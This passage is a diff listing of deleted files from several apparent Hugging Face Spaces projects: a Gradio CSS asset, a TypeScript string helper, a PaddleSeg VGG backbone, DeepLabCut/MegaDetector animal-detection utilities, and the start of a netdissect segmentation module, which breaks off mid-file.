 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/gradio/templates/frontend/assets/index-8f1feca1.css DELETED
@@ -1 +0,0 @@
1
- span.svelte-s1r2yt{font-weight:var(--section-header-text-weight);font-size:var(--section-header-text-size)}.label-wrap.svelte-s1r2yt{display:flex;justify-content:space-between;cursor:pointer;width:var(--size-full)}.label-wrap.open.svelte-s1r2yt{margin-bottom:var(--size-2)}.icon.svelte-s1r2yt{transition:.15s}
 
 
spaces/DaFujaTyping/hf-Chat-ui/src/lib/utils/trimPrefix.ts DELETED
@@ -1,6 +0,0 @@
1
- export function trimPrefix(input: string, prefix: string) {
2
- if (input.startsWith(prefix)) {
3
- return input.slice(prefix.length);
4
- }
5
- return input;
6
- }
 
 
 
 
 
 
 
spaces/DeepDrivePL/PaddleSeg-Matting/matting/model/vgg.py DELETED
@@ -1,166 +0,0 @@
1
- # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
2
- #
3
- # Licensed under the Apache License, Version 2.0 (the "License");
4
- # you may not use this file except in compliance with the License.
5
- # You may obtain a copy of the License at
6
- #
7
- # http://www.apache.org/licenses/LICENSE-2.0
8
- #
9
- # Unless required by applicable law or agreed to in writing, software
10
- # distributed under the License is distributed on an "AS IS" BASIS,
11
- # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12
- # See the License for the specific language governing permissions and
13
- # limitations under the License.
14
-
15
- import paddle
16
- from paddle import ParamAttr
17
- import paddle.nn as nn
18
- import paddle.nn.functional as F
19
- from paddle.nn import Conv2D, BatchNorm, Linear, Dropout
20
- from paddle.nn import AdaptiveAvgPool2D, MaxPool2D, AvgPool2D
21
-
22
- from paddleseg.cvlibs import manager
23
- from paddleseg.utils import utils
24
-
25
-
26
- class ConvBlock(nn.Layer):
27
- def __init__(self, input_channels, output_channels, groups, name=None):
28
- super(ConvBlock, self).__init__()
29
-
30
- self.groups = groups
31
- self._conv_1 = Conv2D(
32
- in_channels=input_channels,
33
- out_channels=output_channels,
34
- kernel_size=3,
35
- stride=1,
36
- padding=1,
37
- weight_attr=ParamAttr(name=name + "1_weights"),
38
- bias_attr=False)
39
- if groups == 2 or groups == 3 or groups == 4:
40
- self._conv_2 = Conv2D(
41
- in_channels=output_channels,
42
- out_channels=output_channels,
43
- kernel_size=3,
44
- stride=1,
45
- padding=1,
46
- weight_attr=ParamAttr(name=name + "2_weights"),
47
- bias_attr=False)
48
- if groups == 3 or groups == 4:
49
- self._conv_3 = Conv2D(
50
- in_channels=output_channels,
51
- out_channels=output_channels,
52
- kernel_size=3,
53
- stride=1,
54
- padding=1,
55
- weight_attr=ParamAttr(name=name + "3_weights"),
56
- bias_attr=False)
57
- if groups == 4:
58
- self._conv_4 = Conv2D(
59
- in_channels=output_channels,
60
- out_channels=output_channels,
61
- kernel_size=3,
62
- stride=1,
63
- padding=1,
64
- weight_attr=ParamAttr(name=name + "4_weights"),
65
- bias_attr=False)
66
-
67
- self._pool = MaxPool2D(
68
- kernel_size=2, stride=2, padding=0, return_mask=True)
69
-
70
- def forward(self, inputs):
71
- x = self._conv_1(inputs)
72
- x = F.relu(x)
73
- if self.groups == 2 or self.groups == 3 or self.groups == 4:
74
- x = self._conv_2(x)
75
- x = F.relu(x)
76
- if self.groups == 3 or self.groups == 4:
77
- x = self._conv_3(x)
78
- x = F.relu(x)
79
- if self.groups == 4:
80
- x = self._conv_4(x)
81
- x = F.relu(x)
82
- skip = x
83
- x, max_indices = self._pool(x)
84
- return x, max_indices, skip
85
-
86
-
87
- class VGGNet(nn.Layer):
88
- def __init__(self, input_channels=3, layers=11, pretrained=None):
89
- super(VGGNet, self).__init__()
90
- self.pretrained = pretrained
91
-
92
- self.layers = layers
93
- self.vgg_configure = {
94
- 11: [1, 1, 2, 2, 2],
95
- 13: [2, 2, 2, 2, 2],
96
- 16: [2, 2, 3, 3, 3],
97
- 19: [2, 2, 4, 4, 4]
98
- }
99
- assert self.layers in self.vgg_configure.keys(), \
100
- "supported layers are {} but input layer is {}".format(
101
- self.vgg_configure.keys(), layers)
102
- self.groups = self.vgg_configure[self.layers]
103
-
104
- # matting的第一层卷积输入为4通道,初始化是直接初始化为0
105
- self._conv_block_1 = ConvBlock(
106
- input_channels, 64, self.groups[0], name="conv1_")
107
- self._conv_block_2 = ConvBlock(64, 128, self.groups[1], name="conv2_")
108
- self._conv_block_3 = ConvBlock(128, 256, self.groups[2], name="conv3_")
109
- self._conv_block_4 = ConvBlock(256, 512, self.groups[3], name="conv4_")
110
- self._conv_block_5 = ConvBlock(512, 512, self.groups[4], name="conv5_")
111
-
112
- # 这一层的初始化需要利用vgg fc6的参数转换后进行初始化,可以暂时不考虑初始化
113
- self._conv_6 = Conv2D(
114
- 512, 512, kernel_size=3, padding=1, bias_attr=False)
115
-
116
- self.init_weight()
117
-
118
- def forward(self, inputs):
119
- fea_list = []
120
- ids_list = []
121
- x, ids, skip = self._conv_block_1(inputs)
122
- fea_list.append(skip)
123
- ids_list.append(ids)
124
- x, ids, skip = self._conv_block_2(x)
125
- fea_list.append(skip)
126
- ids_list.append(ids)
127
- x, ids, skip = self._conv_block_3(x)
128
- fea_list.append(skip)
129
- ids_list.append(ids)
130
- x, ids, skip = self._conv_block_4(x)
131
- fea_list.append(skip)
132
- ids_list.append(ids)
133
- x, ids, skip = self._conv_block_5(x)
134
- fea_list.append(skip)
135
- ids_list.append(ids)
136
- x = F.relu(self._conv_6(x))
137
- fea_list.append(x)
138
- return fea_list
139
-
140
- def init_weight(self):
141
- if self.pretrained is not None:
142
- utils.load_pretrained_model(self, self.pretrained)
143
-
144
-
145
- @manager.BACKBONES.add_component
146
- def VGG11(**args):
147
- model = VGGNet(layers=11, **args)
148
- return model
149
-
150
-
151
- @manager.BACKBONES.add_component
152
- def VGG13(**args):
153
- model = VGGNet(layers=13, **args)
154
- return model
155
-
156
-
157
- @manager.BACKBONES.add_component
158
- def VGG16(**args):
159
- model = VGGNet(layers=16, **args)
160
- return model
161
-
162
-
163
- @manager.BACKBONES.add_component
164
- def VGG19(**args):
165
- model = VGGNet(layers=19, **args)
166
- return model
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/DeepLabCut/MegaDetector_DeepLabCut/detection_utils.py DELETED
@@ -1,116 +0,0 @@
1
-
2
- from tkinter import W
3
- import gradio as gr
4
- from matplotlib import cm
5
- import torch
6
- import torchvision
7
- from dlclive import DLCLive, Processor
8
- import matplotlib
9
- from PIL import Image, ImageColor, ImageFont, ImageDraw
10
- import numpy as np
11
- import math
12
-
13
-
14
- import yaml
15
- import pdb
16
-
17
- ############################################
18
- # Predict detections with MegaDetector v5a model
19
- def predict_md(im,
20
- megadetector_model, #Megadet_Models[mega_model_input]
21
- size=640):
22
-
23
- # resize image
24
- g = (size / max(im.size)) # multipl factor to make max size of the image equal to input size
25
- im = im.resize((int(x * g) for x in im.size),
26
- Image.ANTIALIAS) # resize
27
- # device
28
- if torch.cuda.is_available():
29
- md_device = torch.device('cuda')
30
- else:
31
- md_device = torch.device('cpu')
32
-
33
- # megadetector
34
- MD_model = torch.hub.load('ultralytics/yolov5', # repo_or_dir
35
- 'custom', #model
36
- megadetector_model, # args for callable model
37
- force_reload=True,
38
- device=md_device)
39
-
40
- # send model to gpu if possible
41
- if (md_device == torch.device('cuda')):
42
- print('Sending model to GPU')
43
- MD_model.to(md_device)
44
-
45
- ## detect objects
46
- results = MD_model(im) # inference # vars(results).keys()= dict_keys(['imgs', 'pred', 'names', 'files', 'times', 'xyxy', 'xywh', 'xyxyn', 'xywhn', 'n', 't', 's'])
47
-
48
- return results
49
-
50
-
51
- ##########################################
52
- def crop_animal_detections(img_in,
53
- yolo_results,
54
- likelihood_th):
55
-
56
- ## Extract animal crops
57
- list_labels_as_str = [i for i in yolo_results.names.values()] # ['animal', 'person', 'vehicle']
58
- list_np_animal_crops = []
59
-
60
- # image to crop (scale as input for megadetector)
61
- img_in = img_in.resize((yolo_results.ims[0].shape[1],
62
- yolo_results.ims[0].shape[0]))
63
- # for every detection in the img
64
- for det_array in yolo_results.xyxy:
65
-
66
- # for every detection
67
- for j in range(det_array.shape[0]):
68
-
69
- # compute coords around bbox rounded to the nearest integer (for pasting later)
70
- xmin_rd = int(math.floor(det_array[j,0])) # int() should suffice?
71
- ymin_rd = int(math.floor(det_array[j,1]))
72
-
73
- xmax_rd = int(math.ceil(det_array[j,2]))
74
- ymax_rd = int(math.ceil(det_array[j,3]))
75
-
76
- pred_llk = det_array[j,4]
77
- pred_label = det_array[j,5]
78
- # keep animal crops above threshold
79
- if (pred_label == list_labels_as_str.index('animal')) and \
80
- (pred_llk >= likelihood_th):
81
- area = (xmin_rd, ymin_rd, xmax_rd, ymax_rd)
82
-
83
- #pdb.set_trace()
84
- crop = img_in.crop(area) #Image.fromarray(img_in).crop(area)
85
- crop_np = np.asarray(crop)
86
-
87
- # add to list
88
- list_np_animal_crops.append(crop_np)
89
-
90
- return list_np_animal_crops
91
-
92
- ##########################################
93
- def predict_dlc(list_np_crops,
94
- kpts_likelihood_th,
95
- DLCmodel,
96
- dlc_proc):
97
-
98
- # run dlc thru list of crops
99
- dlc_live = DLCLive(DLCmodel, processor=dlc_proc)
100
- dlc_live.init_inference(list_np_crops[0])
101
-
102
- list_kpts_per_crop = []
103
- all_kypts = []
104
- np_aux = np.empty((1,3)) # can I avoid hardcoding here?
105
- for crop in list_np_crops:
106
- # scale crop here?
107
- keypts_xyp = dlc_live.get_pose(crop) # third column is llk!
108
- # set kpts below threhsold to nan
109
-
110
- #pdb.set_trace()
111
- keypts_xyp[keypts_xyp[:,-1] < kpts_likelihood_th,:] = np_aux.fill(np.nan)
112
- # add kpts of this crop to list
113
- list_kpts_per_crop.append(keypts_xyp)
114
- all_kypts.append(keypts_xyp)
115
-
116
- return list_kpts_per_crop
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/DeepLabCut/MegaDetector_DeepLabCut/save_results.py DELETED
@@ -1,56 +0,0 @@
1
- import json
2
- import numpy as np
3
- import pdb
4
-
5
- dict_pred = {0: 'animal', 1: 'person', 2: 'vehicle'}
6
-
7
-
8
- def save_results(md_results, dlc_outputs,map_label_id_to_str,thr,output_file = 'dowload_predictions.json'):
9
-
10
- """
11
-
12
- write json
13
-
14
- """
15
- info = {}
16
- ## info megaDetector
17
- info['file']= md_results.files[0]
18
- number_bb = len(md_results.xyxy[0].tolist())
19
- info['number_of_bb'] = number_bb
20
- number_bb_thr = len(dlc_outputs)
21
- labels = [n for n in map_label_id_to_str.values()]
22
- #pdb.set_trace()
23
- new_index = []
24
- for i in range(number_bb):
25
- corner_x1,corner_y1,corner_x2,corner_y2,confidence, _ = md_results.xyxy[0].tolist()[i]
26
-
27
- if confidence > thr:
28
- new_index.append(i)
29
-
30
-
31
- for i in range(number_bb_thr):
32
- aux={}
33
- corner_x1,corner_y1,corner_x2,corner_y2,confidence, _ = md_results.xyxy[0].tolist()[new_index[i]]
34
- aux['corner_1'] = (corner_x1,corner_y1)
35
- aux['corner_2'] = (corner_x2,corner_y2)
36
- aux['predict MD'] = md_results.names[0]
37
- aux['confidence MD'] = confidence
38
-
39
- ## info dlc
40
- kypts = []
41
- for s in dlc_outputs[i]:
42
- aux1 = []
43
- for j in s:
44
- aux1.append(float(j))
45
-
46
- kypts.append(aux1)
47
- aux['dlc_pred'] = dict(zip(labels,kypts))
48
- info['bb_' + str(new_index[i]) ]=aux
49
-
50
-
51
- with open(output_file, 'w') as f:
52
- json.dump(info, f, indent=1)
53
- print('Output file saved at {}'.format(output_file))
54
-
55
- return output_file
56
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Dinoking/Guccio-AI-Designer/netdissect/segmenter.py DELETED
@@ -1,581 +0,0 @@
1
- # Usage as a simple differentiable segmenter base class
2
-
3
- import os, torch, numpy, json, glob
4
- import skimage.morphology
5
- from collections import OrderedDict
6
- from netdissect import upsegmodel
7
- from netdissect import segmodel as segmodel_module
8
- from netdissect.easydict import EasyDict
9
- from urllib.request import urlretrieve
10
-
11
- class BaseSegmenter:
12
- def get_label_and_category_names(self):
13
- '''
14
- Returns two lists: first, a list of tuples [(label, category), ...]
15
- where the label and category are human-readable strings indicating
16
- the meaning of a segmentation class. The 0th segmentation class
17
- should be reserved for a label ('-') that means "no prediction."
18
- The second list should just be a list of [category,...] listing
19
- all categories in a canonical order.
20
- '''
21
- raise NotImplemented()
22
-
23
- def segment_batch(self, tensor_images, downsample=1):
24
- '''
25
- Returns a multilabel segmentation for the given batch of (RGB [-1...1])
26
- images. Each pixel of the result is a torch.long indicating a
27
- predicted class number. Multiple classes can be predicted for
28
- the same pixel: output shape is (n, multipred, y, x), where
29
- multipred is 3, 5, or 6, for how many different predicted labels can
30
- be given for each pixel (depending on whether subdivision is being
31
- used). If downsample is specified, then the output y and x dimensions
32
- are downsampled from the original image.
33
- '''
34
- raise NotImplemented()
35
-
36
- def predict_single_class(self, tensor_images, classnum, downsample=1):
37
- '''
38
- Given a batch of images (RGB, normalized to [-1...1]) and
39
- a specific segmentation class number, returns a tuple with
40
- (1) a differentiable ([0..1]) prediction score for the class
41
- at every pixel of the input image.
42
- (2) a binary mask showing where in the input image the
43
- specified class is the best-predicted label for the pixel.
44
- Does not work on subdivided labels.
45
- '''
46
- raise NotImplemented()
47
-
48
- class UnifiedParsingSegmenter(BaseSegmenter):
49
- '''
50
- This is a wrapper for a more complicated multi-class segmenter,
51
- as described in https://arxiv.org/pdf/1807.10221.pdf, and as
52
- released in https://github.com/CSAILVision/unifiedparsing.
53
- For our purposes and to simplify processing, we do not use
54
- whole-scene predictions, and we only consume part segmentations
55
- for the three largest object classes (sky, building, person).
56
- '''
57
-
58
- def __init__(self, segsizes=None, segdiv=None):
59
- # Create a segmentation model
60
- if segsizes is None:
61
- segsizes = [256]
62
- if segdiv == None:
63
- segdiv = 'undivided'
64
- segvocab = 'upp'
65
- segarch = ('resnet50', 'upernet')
66
- epoch = 40
67
- segmodel = load_unified_parsing_segmentation_model(
68
- segarch, segvocab, epoch)
69
- segmodel.cuda()
70
- self.segmodel = segmodel
71
- self.segsizes = segsizes
72
- self.segdiv = segdiv
73
- mult = 1
74
- if self.segdiv == 'quad':
75
- mult = 5
76
- self.divmult = mult
77
- # Assign class numbers for parts.
78
- first_partnumber = (
79
- (len(segmodel.labeldata['object']) - 1) * mult + 1 +
80
- (len(segmodel.labeldata['material']) - 1))
81
- # We only use parts for these three types of objects, for efficiency.
82
- partobjects = ['sky', 'building', 'person']
83
- partnumbers = {}
84
- partnames = []
85
- objectnumbers = {k: v
86
- for v, k in enumerate(segmodel.labeldata['object'])}
87
- part_index_translation = []
88
- # We merge some classes. For example "door" is both an object
89
- # and a part of a building. To avoid confusion, we just count
90
- # such classes as objects, and add part scores to the same index.
91
- for owner in partobjects:
92
- part_list = segmodel.labeldata['object_part'][owner]
93
- numeric_part_list = []
94
- for part in part_list:
95
- if part in objectnumbers:
96
- numeric_part_list.append(objectnumbers[part])
97
- elif part in partnumbers:
98
- numeric_part_list.append(partnumbers[part])
99
- else:
100
- partnumbers[part] = len(partnames) + first_partnumber
101
- partnames.append(part)
102
- numeric_part_list.append(partnumbers[part])
103
- part_index_translation.append(torch.tensor(numeric_part_list))
104
- self.objects_with_parts = [objectnumbers[obj] for obj in partobjects]
105
- self.part_index = part_index_translation
106
- self.part_names = partnames
107
- # For now we'll just do object and material labels.
108
- self.num_classes = 1 + (
109
- len(segmodel.labeldata['object']) - 1) * mult + (
110
- len(segmodel.labeldata['material']) - 1) + len(partnames)
111
- self.num_object_classes = len(self.segmodel.labeldata['object']) - 1
112
-
113
- def get_label_and_category_names(self, dataset=None):
114
- '''
115
- Lists label and category names.
116
- '''
117
- # Labels are ordered as follows:
118
- # 0, [object labels] [divided object labels] [materials] [parts]
119
- # The zero label is reserved to mean 'no prediction'.
120
- if self.segdiv == 'quad':
121
- suffixes = ['t', 'l', 'b', 'r']
122
- else:
123
- suffixes = []
124
- divided_labels = []
125
- for suffix in suffixes:
126
- divided_labels.extend([('%s-%s' % (label, suffix), 'part')
127
- for label in self.segmodel.labeldata['object'][1:]])
128
- # Create the whole list of labels
129
- labelcats = (
130
- [(label, 'object')
131
- for label in self.segmodel.labeldata['object']] +
132
- divided_labels +
133
- [(label, 'material')
134
- for label in self.segmodel.labeldata['material'][1:]] +
135
- [(label, 'part') for label in self.part_names])
136
- return labelcats, ['object', 'part', 'material']
137
-
138
- def raw_seg_prediction(self, tensor_images, downsample=1):
139
- '''
140
- Generates a segmentation by applying multiresolution voting on
141
- the segmentation model, using (rounded to 32 pixels) a set of
142
- resolutions in the example benchmark code.
143
- '''
144
- y, x = tensor_images.shape[2:]
145
- b = len(tensor_images)
146
- tensor_images = (tensor_images + 1) / 2 * 255
147
- tensor_images = torch.flip(tensor_images, (1,)) # BGR!!!?
148
- tensor_images -= torch.tensor([102.9801, 115.9465, 122.7717]).to(
149
- dtype=tensor_images.dtype, device=tensor_images.device
150
- )[None,:,None,None]
151
- seg_shape = (y // downsample, x // downsample)
152
- # We want these to be multiples of 32 for the model.
153
- sizes = [(s, s) for s in self.segsizes]
154
- pred = {category: torch.zeros(
155
- len(tensor_images), len(self.segmodel.labeldata[category]),
156
- seg_shape[0], seg_shape[1]).cuda()
157
- for category in ['object', 'material']}
158
- part_pred = {partobj_index: torch.zeros(
159
- len(tensor_images), len(partindex),
160
- seg_shape[0], seg_shape[1]).cuda()
161
- for partobj_index, partindex in enumerate(self.part_index)}
162
- for size in sizes:
163
- if size == tensor_images.shape[2:]:
164
- resized = tensor_images
165
- else:
166
- resized = torch.nn.AdaptiveAvgPool2d(size)(tensor_images)
167
- r_pred = self.segmodel(
168
- dict(img=resized), seg_size=seg_shape)
169
- for k in pred:
170
- pred[k] += r_pred[k]
171
- for k in part_pred:
172
- part_pred[k] += r_pred['part'][k]
173
- return pred, part_pred
174
-
175
- def segment_batch(self, tensor_images, downsample=1):
176
- '''
177
- Returns a multilabel segmentation for the given batch of (RGB [-1...1])
178
- images. Each pixel of the result is a torch.long indicating a
179
- predicted class number. Multiple classes can be predicted for
180
- the same pixel: output shape is (n, multipred, y, x), where
181
- multipred is 3, 5, or 6, for how many different predicted labels can
182
- be given for each pixel (depending on whether subdivision is being
183
- used). If downsample is specified, then the output y and x dimensions
184
- are downsampled from the original image.
185
- '''
186
- pred, part_pred = self.raw_seg_prediction(tensor_images,
187
- downsample=downsample)
188
- piece_channels = 2 if self.segdiv == 'quad' else 0
189
- y, x = tensor_images.shape[2:]
190
- seg_shape = (y // downsample, x // downsample)
191
- segs = torch.zeros(len(tensor_images), 3 + piece_channels,
192
- seg_shape[0], seg_shape[1],
193
- dtype=torch.long, device=tensor_images.device)
194
- _, segs[:,0] = torch.max(pred['object'], dim=1)
195
- # Get materials and translate to shared numbering scheme
196
- _, segs[:,1] = torch.max(pred['material'], dim=1)
197
- maskout = (segs[:,1] == 0)
198
- segs[:,1] += (len(self.segmodel.labeldata['object']) - 1) * self.divmult
199
- segs[:,1][maskout] = 0
200
- # Now deal with subparts of sky, buildings, people
201
- for i, object_index in enumerate(self.objects_with_parts):
202
- trans = self.part_index[i].to(segs.device)
203
- # Get the argmax, and then translate to shared numbering scheme
204
- seg = trans[torch.max(part_pred[i], dim=1)[1]]
205
- # Only trust the parts where the prediction also predicts the
206
- # owning object.
207
- mask = (segs[:,0] == object_index)
208
- segs[:,2][mask] = seg[mask]
209
-
210
- if self.segdiv == 'quad':
211
- segs = self.expand_segment_quad(segs, self.segdiv)
212
- return segs
213
-
214
- def predict_single_class(self, tensor_images, classnum, downsample=1):
215
- '''
216
- Given a batch of images (RGB, normalized to [-1...1]) and
217
- a specific segmentation class number, returns a tuple with
218
- (1) a differentiable ([0..1]) prediction score for the class
219
- at every pixel of the input image.
220
- (2) a binary mask showing where in the input image the
221
- specified class is the best-predicted label for the pixel.
222
- Does not work on subdivided labels.
223
- '''
224
- result = 0
225
- pred, part_pred = self.raw_seg_prediction(tensor_images,
226
- downsample=downsample)
227
- material_offset = (len(self.segmodel.labeldata['object']) - 1
228
- ) * self.divmult
229
- if material_offset < classnum < material_offset + len(
230
- self.segmodel.labeldata['material']):
231
- return (
232
- pred['material'][:, classnum - material_offset],
233
- pred['material'].max(dim=1)[1] == classnum - material_offset)
234
- mask = None
235
- if classnum < len(self.segmodel.labeldata['object']):
236
- result = pred['object'][:, classnum]
237
- mask = (pred['object'].max(dim=1)[1] == classnum)
238
- # Some objects, like 'door', are also a part of other objects,
239
- # so add the part prediction also.
240
- for i, object_index in enumerate(self.objects_with_parts):
241
- local_index = (self.part_index[i] == classnum).nonzero()
242
- if len(local_index) == 0:
243
- continue
244
- local_index = local_index.item()
245
- # Ignore part predictions outside the mask. (We could pay
246
- # atttention to and penalize such predictions.)
247
- mask2 = (pred['object'].max(dim=1)[1] == object_index) * (
248
- part_pred[i].max(dim=1)[1] == local_index)
249
- if mask is None:
250
- mask = mask2
251
- else:
252
- mask = torch.max(mask, mask2)
253
- result = result + (part_pred[i][:, local_index])
254
- assert result is not 0, 'unrecognized class %d' % classnum
255
- return result, mask
256
-
257
- def expand_segment_quad(self, segs, segdiv='quad'):
258
- shape = segs.shape
259
- segs[:,3:] = segs[:,0:1] # start by copying the object channel
260
- num_seg_labels = self.num_object_classes
261
- # For every connected component present (using generator)
262
- for i, mask in component_masks(segs[:,0:1]):
263
- # Figure the bounding box of the label
264
- top, bottom = mask.any(dim=1).nonzero()[[0, -1], 0]
265
- left, right = mask.any(dim=0).nonzero()[[0, -1], 0]
266
- # Chop the bounding box into four parts
267
- vmid = (top + bottom + 1) // 2
268
- hmid = (left + right + 1) // 2
269
- # Construct top, bottom, right, left masks
270
- quad_mask = mask[None,:,:].repeat(4, 1, 1)
271
- quad_mask[0, vmid:, :] = 0 # top
272
- quad_mask[1, :, hmid:] = 0 # right
273
- quad_mask[2, :vmid, :] = 0 # bottom
274
- quad_mask[3, :, :hmid] = 0 # left
275
- quad_mask = quad_mask.long()
276
- # Modify extra segmentation labels by offsetting
277
- segs[i,3,:,:] += quad_mask[0] * num_seg_labels
278
- segs[i,4,:,:] += quad_mask[1] * (2 * num_seg_labels)
279
- segs[i,3,:,:] += quad_mask[2] * (3 * num_seg_labels)
280
- segs[i,4,:,:] += quad_mask[3] * (4 * num_seg_labels)
281
- # remove any components that were too small to subdivide
282
- mask = segs[:,3:] <= self.num_object_classes
283
- segs[:,3:][mask] = 0
284
- return segs
285
-
286
- class SemanticSegmenter(BaseSegmenter):
287
